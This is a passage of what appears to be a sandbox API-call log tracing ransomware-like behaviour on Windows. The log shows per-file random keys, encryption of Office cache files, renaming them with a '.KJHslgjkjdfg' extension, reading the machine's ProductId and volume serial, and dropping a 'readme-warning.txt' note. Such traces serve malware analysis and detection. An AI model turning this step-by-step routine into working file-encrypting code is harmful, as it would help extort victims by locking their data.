returned 0x2bdd90 [0136.975] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.975] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.975] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.978] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.978] GetProcessHeap () returned 0x2a0000 [0136.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0136.978] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0136.978] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.978] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0136.978] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.978] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.978] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.979] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.979] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.979] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.979] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.979] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.979] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x2488, lpOverlapped=0x0) returned 1 [0136.980] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x2490, dwBufLen=0x2490 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x2490) returned 1 [0136.980] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.980] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x2490, lpOverlapped=0x0) returned 1 [0136.980] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.981] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.981] SetEndOfFile (hFile=0x124) returned 1 [0136.983] GetProcessHeap () returned 0x2a0000 [0136.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0136.983] GetProcessHeap () returned 0x2a0000 [0136.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.984] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0136.991] CloseHandle (hObject=0x124) returned 1 [0136.991] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0136.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.993] GetProcessHeap () returned 0x2a0000 [0136.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.993] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.993] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.993] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.993] GetProcessHeap () returned 0x2a0000 [0136.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.993] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.993] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.993] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.996] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.996] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.996] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.996] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.996] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.996] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.996] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.996] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xe00, lpOverlapped=0x0) returned 1 [0136.996] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xe00, dwBufLen=0xe00 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xe00) returned 1 [0136.997] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.997] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xe00, lpOverlapped=0x0) returned 1 [0136.997] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.997] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.997] SetEndOfFile (hFile=0x124) returned 1 [0137.000] GetProcessHeap () returned 0x2a0000 [0137.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.000] GetProcessHeap () returned 0x2a0000 [0137.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.000] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.kjhslgjkjdfg")) returned 1 [0137.005] CloseHandle (hObject=0x124) returned 1 [0137.005] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0137.005] GetProcessHeap () returned 0x2a0000 [0137.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.006] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0137.006] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.006] GetProcessHeap () returned 0x2a0000 [0137.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0137.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.006] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0137.006] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.006] GetProcessHeap () returned 0x2a0000 [0137.006] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0137.006] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.007] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0137.007] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.007] GetProcessHeap () returned 0x2a0000 [0137.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0137.007] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.007] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0137.007] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.007] GetProcessHeap () returned 0x2a0000 [0137.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0137.007] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.007] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0137.007] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.007] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0137.008] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0137.008] RegCloseKey (hKey=0x124) returned 0x0 [0137.008] GetProcessHeap () returned 0x2a0000 [0137.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0137.008] GetProcessHeap () returned 0x2a0000 [0137.008] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0137.008] GetProcessHeap () returned 0x2a0000 [0137.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0137.009] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0137.009] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0137.009] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.009] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0137.009] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0137.010] GetProcessHeap () returned 0x2a0000 [0137.010] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0137.010] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0137.010] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0137.010] GetProcessHeap () returned 0x2a0000 [0137.010] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0137.010] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0137.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.010] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0137.021] CloseHandle (hObject=0x124) returned 1 [0137.022] GetProcessHeap () returned 0x2a0000 [0137.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0137.022] GetProcessHeap () returned 0x2a0000 [0137.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0137.022] GetProcessHeap () returned 0x2a0000 [0137.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0137.022] GetProcessHeap () returned 0x2a0000 [0137.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.022] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0137.022] GetProcessHeap () returned 0x2a0000 [0137.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0137.022] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0137.022] GetProcessHeap () returned 0x2a0000 [0137.022] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0137.022] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0137.025] GetProcessHeap () returned 0x2a0000 [0137.025] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0137.025] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.025] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0137.025] GetProcessHeap () returned 0x2a0000 [0137.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0137.025] GetProcessHeap () returned 0x2a0000 [0137.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa8) returned 0x2ed148 [0137.025] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0137.028] GetProcessHeap () returned 0x2a0000 [0137.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0137.028] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.028] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0137.028] GetProcessHeap () returned 0x2a0000 [0137.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2aa) returned 0x2c7d50 [0137.028] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0137.030] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x290f280 | out: lpFileSize=0x290f280*=2517504) returned 1 [0137.030] GetProcessHeap () returned 0x2a0000 [0137.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.030] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0137.030] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.030] GetProcessHeap () returned 0x2a0000 [0137.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.030] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f250*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f250*=0x40) returned 1 [0137.030] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.030] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f26c*=0x40, lpOverlapped=0x0) returned 1 [0137.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f274*, lpNumberOfBytesWritten=0x290f26c*=0x4, 